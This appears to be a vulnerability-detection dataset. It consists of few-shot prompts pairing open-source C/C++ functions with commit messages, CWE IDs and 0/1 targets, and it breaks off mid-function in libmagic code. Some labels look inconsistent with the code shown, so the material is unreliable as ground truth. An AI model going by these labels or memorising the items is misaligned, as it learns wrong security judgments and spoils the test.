https://chromium-review.googlesource.com/#/c/70439 (git hash: 7c43fb6) Bug: 30013856 Change-Id: If556414cb5b82472d5673e045bc185cc57bb9af3 (cherry picked from commit bd57d587c2eb743c61b049add18f9fd72bf78c33) CWE ID: CWE-119 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: void Browser::OpenBookmarkManagerAddNodeIn(int64 node_id) { OpenBookmarkManagerWithHash("a=", node_id); } Commit Message: Implement a bubble that appears at the top of the screen when a tab enters fullscreen mode via webkitRequestFullScreen(), telling the user how to exit fullscreen. This is implemented as an NSView rather than an NSWindow because the floating chrome that appears in presentation mode should overlap the bubble. Content-initiated fullscreen mode makes use of 'presentation mode' on the Mac: the mode in which the UI is hidden, accessible by moving the cursor to the top of the screen. On Snow Leopard, this mode is synonymous with fullscreen mode. On Lion, however, fullscreen mode does not imply presentation mode: in non-presentation fullscreen mode, the chrome is permanently shown. It is possible to switch between presentation mode and fullscreen mode using the presentation mode UI control. When a tab initiates fullscreen mode on Lion, we enter presentation mode if not in presentation mode already. When the user exits fullscreen mode using Chrome UI (i.e. keyboard shortcuts, menu items, buttons, switching tabs, etc.) we return the user to the mode they were in before the tab entered fullscreen. BUG=14471 TEST=Enter fullscreen mode using webkitRequestFullScreen. You should see a bubble pop down from the top of the screen. Need to test the Lion logic somehow, with no Lion trybots. BUG=96883 Original review http://codereview.chromium.org/7890056/ TBR=thakis Review URL: http://codereview.chromium.org/7920024 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@101624 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-119 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: bool CSoundFile::ReadSTP(FileReader &file, ModLoadingFlags loadFlags) { file.Rewind(); STPFileHeader fileHeader; if(!file.ReadStruct(fileHeader)) { return false; } if(!ValidateHeader(fileHeader)) { return false; } if(loadFlags == onlyVerifyHeader) { return true; } InitializeGlobals(MOD_TYPE_STP); m_nChannels = 4; m_nSamples = 0; m_nDefaultSpeed = fileHeader.speed; m_nDefaultTempo = ConvertTempo(fileHeader.timerCount); m_nMinPeriod = 14 * 4; m_nMaxPeriod = 3424 * 4; ReadOrderFromArray(Order(), fileHeader.orderList, fileHeader.numOrders); std::vector<STPLoopList> loopInfo; std::vector<SAMPLEINDEX> nonLooped; SAMPLEINDEX samplesInFile = 0; for(SAMPLEINDEX smp = 0; smp < fileHeader.numSamples; smp++) { SAMPLEINDEX actualSmp = file.ReadUint16BE(); if(actualSmp == 0 || actualSmp >= MAX_SAMPLES) return false; uint32 chunkSize = fileHeader.sampleStructSize; if(fileHeader.version == 2) chunkSize = file.ReadUint32BE() - 2; FileReader chunk = file.ReadChunk(chunkSize); samplesInFile = m_nSamples = std::max(m_nSamples, actualSmp); ModSample &mptSmp = Samples[actualSmp]; mptSmp.Initialize(MOD_TYPE_MOD); if(fileHeader.version < 2) { chunk.ReadString<mpt::String::maybeNullTerminated>(mptSmp.filename, 31); chunk.Skip(1); chunk.ReadString<mpt::String::maybeNullTerminated>(m_szNames[actualSmp], 30); } else { std::string str; chunk.ReadNullString(str, 257); mpt::String::Copy(mptSmp.filename, str); chunk.Skip(1); chunk.ReadNullString(str, 31); mpt::String::Copy(m_szNames[actualSmp], str); if(chunk.GetPosition() % 2u) chunk.Skip(1); } STPSampleHeader sampleHeader; chunk.ReadStruct(sampleHeader); sampleHeader.ConvertToMPT(mptSmp); if(fileHeader.version == 2) { mptSmp.nFineTune = static_cast<int8>(sampleHeader.finetune << 3); } if(fileHeader.version >= 1) { nonLooped.resize(samplesInFile); loopInfo.resize(samplesInFile); STPLoopList &loopList = loopInfo[actualSmp - 1]; loopList.clear(); uint16 numLoops = file.ReadUint16BE(); loopList.reserve(numLoops); STPLoopInfo loop; loop.looped = loop.nonLooped = 0; if(numLoops == 0 && mptSmp.uFlags[CHN_LOOP]) { loop.loopStart = mptSmp.nLoopStart; loop.loopLength = mptSmp.nLoopEnd - mptSmp.nLoopStart; loopList.push_back(loop); } else for(uint16 i = 0; i < numLoops; i++) { loop.loopStart = file.ReadUint32BE(); loop.loopLength = file.ReadUint32BE(); loopList.push_back(loop); } } } uint16 numPatterns = 128; if(fileHeader.version == 0) numPatterns = file.ReadUint16BE(); uint16 patternLength = fileHeader.patternLength; CHANNELINDEX channels = 4; if(fileHeader.version > 0) { FileReader::off_t patOffset = file.GetPosition(); for(uint16 pat = 0; pat < numPatterns; pat++) { PATTERNINDEX actualPat = file.ReadUint16BE(); if(actualPat == 0xFFFF) break; patternLength = file.ReadUint16BE(); channels = file.ReadUint16BE(); m_nChannels = std::max(m_nChannels, channels); file.Skip(channels * patternLength * 4u); } file.Seek(patOffset); if(m_nChannels > MAX_BASECHANNELS) return false; } struct ChannelMemory { uint8 autoFinePorta, autoPortaUp, autoPortaDown, autoVolSlide, autoVibrato; uint8 vibratoMem, autoTremolo, autoTonePorta, tonePortaMem; }; std::vector<ChannelMemory> channelMemory(m_nChannels); uint8 globalVolSlide = 0; for(uint16 pat = 0; pat < numPatterns; pat++) { PATTERNINDEX actualPat = pat; if(fileHeader.version > 0) { actualPat = file.ReadUint16BE(); if(actualPat == 0xFFFF) break; patternLength = file.ReadUint16BE(); channels = file.ReadUint16BE(); } if(!(loadFlags & loadPatternData) || !Patterns.Insert(actualPat, patternLength)) { file.Skip(channels * patternLength * 4u); continue; } for(ROWINDEX row = 0; row < patternLength; row++) { auto rowBase = Patterns[actualPat].GetRow(row); bool didGlobalVolSlide = false; bool shouldDelay; switch(fileHeader.speedFrac & 3) { default: shouldDelay = false; break; case 1: shouldDelay = (row & 3) == 0; break; case 2: shouldDelay = (row & 1) == 0; break; case 3: shouldDelay = (row & 3) != 3; break; } for(CHANNELINDEX chn = 0; chn < channels; chn++) { ChannelMemory &chnMem = channelMemory[chn]; ModCommand &m = rowBase[chn]; uint8 data[4]; file.ReadArray(data); m.instr = data[0]; m.note = data[1]; m.command = data[2]; m.param = data[3]; if(m.note) { m.note += 24 + NOTE_MIN; chnMem = ChannelMemory(); } uint8 swapped = (m.param >> 4) | (m.param << 4); if((m.command & 0xF0) == 0xF0) { uint16 ciaTempo = (static_cast<uint16>(m.command & 0x0F) << 8) | m.param; if(ciaTempo) { m.param = mpt::saturate_cast<ModCommand::PARAM>(Util::Round(ConvertTempo(ciaTempo).ToDouble())); m.command = CMD_TEMPO; } else { m.command = CMD_NONE; } } else switch(m.command) { case 0x00: // arpeggio if(m.param) m.command = CMD_ARPEGGIO; break; case 0x01: // portamento up m.command = CMD_PORTAMENTOUP; break; case 0x02: // portamento down m.command = CMD_PORTAMENTODOWN; break; case 0x03: // auto fine portamento up chnMem.autoFinePorta = 0x10 | std::min(m.param, ModCommand::PARAM(15)); chnMem.autoPortaUp = 0; chnMem.autoPortaDown = 0; chnMem.autoTonePorta = 0; m.command = m.param = 0; break; case 0x04: // auto fine portamento down chnMem.autoFinePorta = 0x20 | std::min(m.param, ModCommand::PARAM(15)); chnMem.autoPortaUp = 0; chnMem.autoPortaDown = 0; chnMem.autoTonePorta = 0; m.command = m.param = 0; break; case 0x05: // auto portamento up chnMem.autoFinePorta = 0; chnMem.autoPortaUp = m.param; chnMem.autoPortaDown = 0; chnMem.autoTonePorta = 0; m.command = m.param = 0; break; case 0x06: // auto portamento down chnMem.autoFinePorta = 0; chnMem.autoPortaUp = 0; chnMem.autoPortaDown = m.param; chnMem.autoTonePorta = 0; m.command = m.param = 0; break; case 0x07: // set global volume m.command = CMD_GLOBALVOLUME; globalVolSlide = 0; break; case 0x08: // auto global fine volume slide globalVolSlide = swapped; m.command = m.param = 0; break; case 0x09: // fine portamento up m.command = CMD_MODCMDEX; m.param = 0x10 | std::min(m.param, ModCommand::PARAM(15)); break; case 0x0A: // fine portamento down m.command = CMD_MODCMDEX; m.param = 0x20 | std::min(m.param, ModCommand::PARAM(15)); break; case 0x0B: // auto fine volume slide chnMem.autoVolSlide = swapped; m.command = m.param = 0; break; case 0x0C: // set volume m.volcmd = VOLCMD_VOLUME; m.vol = m.param; chnMem.autoVolSlide = 0; m.command = m.param = 0; break; case 0x0D: // volume slide (param is swapped compared to .mod) if(m.param & 0xF0) { m.volcmd = VOLCMD_VOLSLIDEDOWN; m.vol = m.param >> 4; } else if(m.param & 0x0F) { m.volcmd = VOLCMD_VOLSLIDEUP; m.vol = m.param & 0xF; } chnMem.autoVolSlide = 0; m.command = m.param = 0; break; case 0x0E: // set filter (also uses opposite value compared to .mod) m.command = CMD_MODCMDEX; m.param = 1 ^ (m.param ? 1 : 0); break; case 0x0F: // set speed m.command = CMD_SPEED; fileHeader.speedFrac = m.param & 0xF; m.param >>= 4; break; case 0x10: // auto vibrato chnMem.autoVibrato = m.param; chnMem.vibratoMem = 0; m.command = m.param = 0; break; case 0x11: // auto tremolo if(m.param & 0xF) chnMem.autoTremolo = m.param; else chnMem.autoTremolo = 0; m.command = m.param = 0; break; case 0x12: // pattern break m.command = CMD_PATTERNBREAK; break; case 0x13: // auto tone portamento chnMem.autoFinePorta = 0; chnMem.autoPortaUp = 0; chnMem.autoPortaDown = 0; chnMem.autoTonePorta = m.param; chnMem.tonePortaMem = 0; m.command = m.param = 0; break; case 0x14: // position jump m.command = CMD_POSITIONJUMP; break; case 0x16: // start loop sequence if(m.instr && m.instr <= loopInfo.size()) { STPLoopList &loopList = loopInfo[m.instr - 1]; m.param--; if(m.param < std::min(mpt::size(ModSample().cues), loopList.size())) { m.volcmd = VOLCMD_OFFSET; m.vol = m.param; } } m.command = m.param = 0; break; case 0x17: // play only loop nn if(m.instr && m.instr <= loopInfo.size()) { STPLoopList &loopList = loopInfo[m.instr - 1]; m.param--; if(m.param < loopList.size()) { if(!loopList[m.param].looped && m_nSamples < MAX_SAMPLES - 1) loopList[m.param].looped = ++m_nSamples; m.instr = static_cast<ModCommand::INSTR>(loopList[m.param].looped); } } m.command = m.param = 0; break; case 0x18: // play sequence without loop if(m.instr && m.instr <= loopInfo.size()) { STPLoopList &loopList = loopInfo[m.instr - 1]; m.param--; if(m.param < std::min(mpt::size(ModSample().cues), loopList.size())) { m.volcmd = VOLCMD_OFFSET; m.vol = m.param; } if(!nonLooped[m.instr - 1] && m_nSamples < MAX_SAMPLES - 1) nonLooped[m.instr - 1] = ++m_nSamples; m.instr = static_cast<ModCommand::INSTR>(nonLooped[m.instr - 1]); } m.command = m.param = 0; break; case 0x19: // play only loop nn without loop if(m.instr && m.instr <= loopInfo.size()) { STPLoopList &loopList = loopInfo[m.instr - 1]; m.param--; if(m.param < loopList.size()) { if(!loopList[m.param].nonLooped && m_nSamples < MAX_SAMPLES-1) loopList[m.param].nonLooped = ++m_nSamples; m.instr = static_cast<ModCommand::INSTR>(loopList[m.param].nonLooped); } } m.command = m.param = 0; break; case 0x1D: // fine volume slide (nibble order also swapped) m.command = CMD_VOLUMESLIDE; m.param = swapped; if(m.param & 0xF0) // slide down m.param |= 0x0F; else if(m.param & 0x0F) m.param |= 0xF0; break; case 0x20: // "delayed fade" if(m.param & 0xF0) { chnMem.autoVolSlide = m.param >> 4; m.command = m.param = 0; } else { m.command = CMD_MODCMDEX; m.param = 0xC0 | (m.param & 0xF); } break; case 0x21: // note delay m.command = CMD_MODCMDEX; m.param = 0xD0 | std::min(m.param, ModCommand::PARAM(15)); break; case 0x22: // retrigger note m.command = CMD_MODCMDEX; m.param = 0x90 | std::min(m.param, ModCommand::PARAM(15)); break; case 0x49: // set sample offset m.command = CMD_OFFSET; break; case 0x4E: // other protracker commands (pattern loop / delay) if((m.param & 0xF0) == 0x60 || (m.param & 0xF0) == 0xE0) m.command = CMD_MODCMDEX; else m.command = m.param = 0; break; case 0x4F: // set speed/tempo if(m.param < 0x20) { m.command = CMD_SPEED; fileHeader.speedFrac = 0; } else { m.command = CMD_TEMPO; } break; default: m.command = CMD_NONE; break; } bool didVolSlide = false; if(chnMem.autoVolSlide && !m.volcmd) { if(chnMem.autoVolSlide & 0xF0) { m.volcmd = VOLCMD_FINEVOLUP; m.vol = chnMem.autoVolSlide >> 4; } else { m.volcmd = VOLCMD_FINEVOLDOWN; m.vol = chnMem.autoVolSlide & 0xF; } didVolSlide = true; } if(m.command == CMD_NONE) { if(chnMem.autoPortaUp) { m.command = CMD_PORTAMENTOUP; m.param = chnMem.autoPortaUp; } else if(chnMem.autoPortaDown) { m.command = CMD_PORTAMENTODOWN; m.param = chnMem.autoPortaDown; } else if(chnMem.autoFinePorta) { m.command = CMD_MODCMDEX; m.param = chnMem.autoFinePorta; } else if(chnMem.autoTonePorta) { m.command = CMD_TONEPORTAMENTO; m.param = chnMem.tonePortaMem = chnMem.autoTonePorta; } else if(chnMem.autoVibrato) { m.command = CMD_VIBRATO; m.param = chnMem.vibratoMem = chnMem.autoVibrato; } else if(!didVolSlide && chnMem.autoVolSlide) { m.command = CMD_VOLUMESLIDE; m.param = chnMem.autoVolSlide; if(m.param & 0x0F) m.param |= 0xF0; else if(m.param & 0xF0) m.param |= 0x0F; didVolSlide = true; } else if(chnMem.autoTremolo) { m.command = CMD_TREMOLO; m.param = chnMem.autoTremolo; } else if(shouldDelay) { m.command = CMD_S3MCMDEX; m.param = 0x61; shouldDelay = false; } else if(!didGlobalVolSlide && globalVolSlide) { m.command = CMD_GLOBALVOLSLIDE; m.param = globalVolSlide; if(m.param & 0x0F) m.param |= 0xF0; else if(m.param & 0xF0) m.param |= 0x0F; didGlobalVolSlide = true; } } } } } m_nSamplePreAmp = 256 / m_nChannels; SetupMODPanning(true); if(fileHeader.version > 0) { while(file.CanRead(2)) { uint16 scriptNum = file.ReadUint16BE(); if(scriptNum == 0xFFFF) break; file.Skip(2); uint32 length = file.ReadUint32BE(); file.Skip(length); } file.Skip(17 * 2); } if(loadFlags & loadSampleData) { for(SAMPLEINDEX smp = 1; smp <= samplesInFile; smp++) if(Samples[smp].nLength) { SampleIO( SampleIO::_8bit, SampleIO::mono, SampleIO::littleEndian, SampleIO::signedPCM) .ReadSample(Samples[smp], file); if(smp > loopInfo.size()) continue; ConvertLoopSequence(Samples[smp], loopInfo[smp - 1]); if(nonLooped[smp - 1]) { ConvertLoopSlice(Samples[smp], Samples[nonLooped[smp - 1]], 0, Samples[smp].nLength, false); } for(const auto &info : loopInfo[smp - 1]) { if(info.looped) { ConvertLoopSlice(Samples[smp], Samples[info.looped], info.loopStart, info.loopLength, true); } if(info.nonLooped) { ConvertLoopSlice(Samples[smp], Samples[info.nonLooped], info.loopStart, info.loopLength, false); } } } } return true; } Commit Message: [Fix] STP: Possible out-of-bounds memory read with malformed STP files (caught with afl-fuzz). git-svn-id: https://source.openmpt.org/svn/openmpt/trunk/OpenMPT@9567 56274372-70c3-4bfc-bfc3-4c3a0b034d27 CWE ID: CWE-125 Target: 1 Example 2: Code: static int shutdown_interception(struct vcpu_svm *svm) { struct kvm_run *kvm_run = svm->vcpu.run; /* * VMCB is undefined after a SHUTDOWN intercept * so reinitialize it. */ clear_page(svm->vmcb); init_vmcb(svm); kvm_run->exit_reason = KVM_EXIT_SHUTDOWN; return 0; } Commit Message: KVM: x86: Check non-canonical addresses upon WRMSR Upon WRMSR, the CPU should inject #GP if a non-canonical value (address) is written to certain MSRs. The behavior is "almost" identical for AMD and Intel (ignoring MSRs that are not implemented in either architecture since they would anyhow #GP). However, IA32_SYSENTER_ESP and IA32_SYSENTER_EIP cause #GP if non-canonical address is written on Intel but not on AMD (which ignores the top 32-bits). Accordingly, this patch injects a #GP on the MSRs which behave identically on Intel and AMD. To eliminate the differences between the architecutres, the value which is written to IA32_SYSENTER_ESP and IA32_SYSENTER_EIP is turned to canonical value before writing instead of injecting a #GP. Some references from Intel and AMD manuals: According to Intel SDM description of WRMSR instruction #GP is expected on WRMSR "If the source register contains a non-canonical address and ECX specifies one of the following MSRs: IA32_DS_AREA, IA32_FS_BASE, IA32_GS_BASE, IA32_KERNEL_GS_BASE, IA32_LSTAR, IA32_SYSENTER_EIP, IA32_SYSENTER_ESP." According to AMD manual instruction manual: LSTAR/CSTAR (SYSCALL): "The WRMSR instruction loads the target RIP into the LSTAR and CSTAR registers. If an RIP written by WRMSR is not in canonical form, a general-protection exception (#GP) occurs." IA32_GS_BASE and IA32_FS_BASE (WRFSBASE/WRGSBASE): "The address written to the base field must be in canonical form or a #GP fault will occur." IA32_KERNEL_GS_BASE (SWAPGS): "The address stored in the KernelGSbase MSR must be in canonical form." This patch fixes CVE-2014-3610. Cc: [email protected] Signed-off-by: Nadav Amit <[email protected]> Signed-off-by: Paolo Bonzini <[email protected]> CWE ID: CWE-264 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static void print_bpf_insn(struct bpf_insn *insn) { u8 class = BPF_CLASS(insn->code); if (class == BPF_ALU || class == BPF_ALU64) { if (BPF_SRC(insn->code) == BPF_X) verbose("(%02x) %sr%d %s %sr%d\n", insn->code, class == BPF_ALU ? "(u32) " : "", insn->dst_reg, bpf_alu_string[BPF_OP(insn->code) >> 4], class == BPF_ALU ? "(u32) " : "", insn->src_reg); else verbose("(%02x) %sr%d %s %s%d\n", insn->code, class == BPF_ALU ? "(u32) " : "", insn->dst_reg, bpf_alu_string[BPF_OP(insn->code) >> 4], class == BPF_ALU ? "(u32) " : "", insn->imm); } else if (class == BPF_STX) { if (BPF_MODE(insn->code) == BPF_MEM) verbose("(%02x) *(%s *)(r%d %+d) = r%d\n", insn->code, bpf_ldst_string[BPF_SIZE(insn->code) >> 3], insn->dst_reg, insn->off, insn->src_reg); else if (BPF_MODE(insn->code) == BPF_XADD) verbose("(%02x) lock *(%s *)(r%d %+d) += r%d\n", insn->code, bpf_ldst_string[BPF_SIZE(insn->code) >> 3], insn->dst_reg, insn->off, insn->src_reg); else verbose("BUG_%02x\n", insn->code); } else if (class == BPF_ST) { if (BPF_MODE(insn->code) != BPF_MEM) { verbose("BUG_st_%02x\n", insn->code); return; } verbose("(%02x) *(%s *)(r%d %+d) = %d\n", insn->code, bpf_ldst_string[BPF_SIZE(insn->code) >> 3], insn->dst_reg, insn->off, insn->imm); } else if (class == BPF_LDX) { if (BPF_MODE(insn->code) != BPF_MEM) { verbose("BUG_ldx_%02x\n", insn->code); return; } verbose("(%02x) r%d = *(%s *)(r%d %+d)\n", insn->code, insn->dst_reg, bpf_ldst_string[BPF_SIZE(insn->code) >> 3], insn->src_reg, insn->off); } else if (class == BPF_LD) { if (BPF_MODE(insn->code) == BPF_ABS) { verbose("(%02x) r0 = *(%s *)skb[%d]\n", insn->code, bpf_ldst_string[BPF_SIZE(insn->code) >> 3], insn->imm); } else if (BPF_MODE(insn->code) == BPF_IND) { verbose("(%02x) r0 = *(%s *)skb[r%d + %d]\n", insn->code, bpf_ldst_string[BPF_SIZE(insn->code) >> 3], insn->src_reg, insn->imm); } else if (BPF_MODE(insn->code) == BPF_IMM) { verbose("(%02x) r%d = 0x%x\n", insn->code, insn->dst_reg, insn->imm); } else { verbose("BUG_ld_%02x\n", insn->code); return; } } else if (class == BPF_JMP) { u8 opcode = BPF_OP(insn->code); if (opcode == BPF_CALL) { verbose("(%02x) call %s#%d\n", insn->code, func_id_name(insn->imm), insn->imm); } else if (insn->code == (BPF_JMP | BPF_JA)) { verbose("(%02x) goto pc%+d\n", insn->code, insn->off); } else if (insn->code == (BPF_JMP | BPF_EXIT)) { verbose("(%02x) exit\n", insn->code); } else if (BPF_SRC(insn->code) == BPF_X) { verbose("(%02x) if r%d %s r%d goto pc%+d\n", insn->code, insn->dst_reg, bpf_jmp_string[BPF_OP(insn->code) >> 4], insn->src_reg, insn->off); } else { verbose("(%02x) if r%d %s 0x%x goto pc%+d\n", insn->code, insn->dst_reg, bpf_jmp_string[BPF_OP(insn->code) >> 4], insn->imm, insn->off); } } else { verbose("(%02x) %s\n", insn->code, bpf_class_string[class]); } } Commit Message: bpf: don't let ldimm64 leak map addresses on unprivileged The patch fixes two things at once: 1) It checks the env->allow_ptr_leaks and only prints the map address to the log if we have the privileges to do so, otherwise it just dumps 0 as we would when kptr_restrict is enabled on %pK. Given the latter is off by default and not every distro sets it, I don't want to rely on this, hence the 0 by default for unprivileged. 2) Printing of ldimm64 in the verifier log is currently broken in that we don't print the full immediate, but only the 32 bit part of the first insn part for ldimm64. Thus, fix this up as well; it's okay to access, since we verified all ldimm64 earlier already (including just constants) through replace_map_fd_with_map_ptr(). Fixes: 1be7f75d1668 ("bpf: enable non-root eBPF programs") Fixes: cbd357008604 ("bpf: verifier (add ability to receive verification log)") Reported-by: Jann Horn <[email protected]> Signed-off-by: Daniel Borkmann <[email protected]> Acked-by: Alexei Starovoitov <[email protected]> Signed-off-by: David S. Miller <[email protected]> CWE ID: CWE-200 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: void ExtensionContextMenuModel::InitCommonCommands() { const Extension* extension = GetExtension(); DCHECK(extension); AddItem(NAME, UTF8ToUTF16(extension->name())); AddSeparator(); AddItemWithStringId(CONFIGURE, IDS_EXTENSIONS_OPTIONS); AddItemWithStringId(DISABLE, IDS_EXTENSIONS_DISABLE); AddItem(UNINSTALL, l10n_util::GetStringFUTF16(IDS_EXTENSIONS_UNINSTALL, l10n_util::GetStringUTF16(IDS_SHORT_PRODUCT_NAME))); if (extension->browser_action()) AddItemWithStringId(HIDE, IDS_EXTENSIONS_HIDE_BUTTON); AddSeparator(); AddItemWithStringId(MANAGE, IDS_MANAGE_EXTENSIONS); } Commit Message: [i18n-fixlet] Make strings branding specific in extension code. IDS_EXTENSIONS_UNINSTALL IDS_EXTENSIONS_INCOGNITO_WARNING IDS_EXTENSION_INSTALLED_HEADING IDS_EXTENSION_ALERT_ITEM_EXTERNAL And fix a $1 $1 bug. IDS_EXTENSION_INLINE_INSTALL_PROMPT_TITLE BUG=NONE TEST=NONE Review URL: http://codereview.chromium.org/9107061 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@118018 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-119 Target: 1 Example 2: Code: void SkiaOutputSurfaceImpl::ScheduleGpuTaskForTesting( base::OnceClosure callback, std::vector<gpu::SyncToken> sync_tokens) { ScheduleGpuTask(std::move(callback), std::move(sync_tokens)); } Commit Message: SkiaRenderer: Support changing color space SkiaOutputSurfaceImpl did not handle the color space changing after it was created previously. The SkSurfaceCharacterization color space was only set during the first time Reshape() ran when the charactization is returned from the GPU thread. If the color space was changed later the SkSurface and SkDDL color spaces no longer matched and draw failed. Bug: 1009452 Change-Id: Ib6d2083efc7e7eb6f94782342e92a809b69d6fdc Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1841811 Reviewed-by: Peng Huang <[email protected]> Commit-Queue: kylechar <[email protected]> Cr-Commit-Position: refs/heads/master@{#702946} CWE ID: CWE-704 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: void Element::setIsInCanvasSubtree(bool isInCanvasSubtree) { ensureElementRareData()->setIsInCanvasSubtree(isInCanvasSubtree); } Commit Message: Set Attr.ownerDocument in Element#setAttributeNode() Attr objects can move across documents by setAttributeNode(). So It needs to reset ownerDocument through TreeScopeAdoptr::adoptIfNeeded(). BUG=248950 TEST=set-attribute-node-from-iframe.html Review URL: https://chromiumcodereview.appspot.com/17583003 git-svn-id: svn://svn.chromium.org/blink/trunk@152938 bbb929c8-8fbe-4397-9dbb-9b2b20218538 CWE ID: CWE-399 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: void MockWebRTCPeerConnectionHandler::createOffer(const WebRTCSessionDescriptionRequest& request, const WebMediaConstraints& constraints) { WebString shouldSucceed; if (constraints.getMandatoryConstraintValue("succeed", shouldSucceed) && shouldSucceed == "true") { WebRTCSessionDescriptionDescriptor sessionDescription; sessionDescription.initialize("offer", "Some SDP here"); postTask(new RTCSessionDescriptionRequestSuccededTask(this, request, sessionDescription)); } else postTask(new RTCSessionDescriptionRequestFailedTask(this, request)); } Commit Message: Unreviewed, rolling out r127612, r127660, and r127664. http://trac.webkit.org/changeset/127612 http://trac.webkit.org/changeset/127660 http://trac.webkit.org/changeset/127664 https://bugs.webkit.org/show_bug.cgi?id=95920 Source/Platform: * Platform.gypi: * chromium/public/WebRTCPeerConnectionHandler.h: (WebKit): (WebRTCPeerConnectionHandler): * chromium/public/WebRTCVoidRequest.h: Removed. Source/WebCore: * CMakeLists.txt: * GNUmakefile.list.am: * Modules/mediastream/RTCErrorCallback.h: (WebCore): (RTCErrorCallback): * Modules/mediastream/RTCErrorCallback.idl: * Modules/mediastream/RTCPeerConnection.cpp: (WebCore::RTCPeerConnection::createOffer): * Modules/mediastream/RTCPeerConnection.h: (WebCore): (RTCPeerConnection): * Modules/mediastream/RTCPeerConnection.idl: * Modules/mediastream/RTCSessionDescriptionCallback.h: (WebCore): (RTCSessionDescriptionCallback): * Modules/mediastream/RTCSessionDescriptionCallback.idl: * Modules/mediastream/RTCSessionDescriptionRequestImpl.cpp: (WebCore::RTCSessionDescriptionRequestImpl::create): (WebCore::RTCSessionDescriptionRequestImpl::RTCSessionDescriptionRequestImpl): (WebCore::RTCSessionDescriptionRequestImpl::requestSucceeded): (WebCore::RTCSessionDescriptionRequestImpl::requestFailed): (WebCore::RTCSessionDescriptionRequestImpl::clear): * Modules/mediastream/RTCSessionDescriptionRequestImpl.h: (RTCSessionDescriptionRequestImpl): * Modules/mediastream/RTCVoidRequestImpl.cpp: Removed. * Modules/mediastream/RTCVoidRequestImpl.h: Removed. * WebCore.gypi: * platform/chromium/support/WebRTCVoidRequest.cpp: Removed. * platform/mediastream/RTCPeerConnectionHandler.cpp: (RTCPeerConnectionHandlerDummy): (WebCore::RTCPeerConnectionHandlerDummy::RTCPeerConnectionHandlerDummy): * platform/mediastream/RTCPeerConnectionHandler.h: (WebCore): (WebCore::RTCPeerConnectionHandler::~RTCPeerConnectionHandler): (RTCPeerConnectionHandler): (WebCore::RTCPeerConnectionHandler::RTCPeerConnectionHandler): * platform/mediastream/RTCVoidRequest.h: Removed. * platform/mediastream/chromium/RTCPeerConnectionHandlerChromium.cpp: * platform/mediastream/chromium/RTCPeerConnectionHandlerChromium.h: (RTCPeerConnectionHandlerChromium): Tools: * DumpRenderTree/chromium/MockWebRTCPeerConnectionHandler.cpp: (MockWebRTCPeerConnectionHandler::SuccessCallbackTask::SuccessCallbackTask): (MockWebRTCPeerConnectionHandler::SuccessCallbackTask::runIfValid): (MockWebRTCPeerConnectionHandler::FailureCallbackTask::FailureCallbackTask): (MockWebRTCPeerConnectionHandler::FailureCallbackTask::runIfValid): (MockWebRTCPeerConnectionHandler::createOffer): * DumpRenderTree/chromium/MockWebRTCPeerConnectionHandler.h: (MockWebRTCPeerConnectionHandler): (SuccessCallbackTask): (FailureCallbackTask): LayoutTests: * fast/mediastream/RTCPeerConnection-createOffer.html: * fast/mediastream/RTCPeerConnection-localDescription-expected.txt: Removed. * fast/mediastream/RTCPeerConnection-localDescription.html: Removed. * fast/mediastream/RTCPeerConnection-remoteDescription-expected.txt: Removed. * fast/mediastream/RTCPeerConnection-remoteDescription.html: Removed. git-svn-id: svn://svn.chromium.org/blink/trunk@127679 bbb929c8-8fbe-4397-9dbb-9b2b20218538 CWE ID: CWE-20 Target: 1 Example 2: Code: void webkit_web_view_go_back(WebKitWebView* webView) { g_return_if_fail(WEBKIT_IS_WEB_VIEW(webView)); core(webView)->goBack(); } Commit Message: 2011-06-02 Joone Hur <[email protected]> Reviewed by Martin Robinson. [GTK] Only load dictionaries if spell check is enabled https://bugs.webkit.org/show_bug.cgi?id=32879 We don't need to call enchant if enable-spell-checking is false. * webkit/webkitwebview.cpp: (webkit_web_view_update_settings): Skip loading dictionaries when enable-spell-checking is false. (webkit_web_view_settings_notify): Ditto. git-svn-id: svn://svn.chromium.org/blink/trunk@87925 bbb929c8-8fbe-4397-9dbb-9b2b20218538 CWE ID: CWE-399 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: mconvert(struct magic_set *ms, struct magic *m, int flip) { union VALUETYPE *p = &ms->ms_value; uint8_t type; switch (type = cvt_flip(m->type, flip)) { case FILE_BYTE: cvt_8(p, m); return 1; case FILE_SHORT: cvt_16(p, m); return 1; case FILE_LONG: case FILE_DATE: case FILE_LDATE: cvt_32(p, m); return 1; case FILE_QUAD: case FILE_QDATE: case FILE_QLDATE: case FILE_QWDATE: cvt_64(p, m); return 1; case FILE_STRING: case FILE_BESTRING16: case FILE_LESTRING16: { /* Null terminate and eat *trailing* return */ p->s[sizeof(p->s) - 1] = '\0'; return 1; } case FILE_PSTRING: { char *ptr1 = p->s, *ptr2 = ptr1 + file_pstring_length_size(m); size_t len = file_pstring_get_length(m, ptr1); if (len >= sizeof(p->s)) len = sizeof(p->s) - 1; while (len--) *ptr1++ = *ptr2++; *ptr1 = '\0'; return 1; } case FILE_BESHORT: p->h = (short)((p->hs[0]<<8)|(p->hs[1])); cvt_16(p, m); return 1; case FILE_BELONG: case FILE_BEDATE: case FILE_BELDATE: p->l = (int32_t) ((p->hl[0]<<24)|(p->hl[1]<<16)|(p->hl[2]<<8)|(p->hl[3])); if (type == 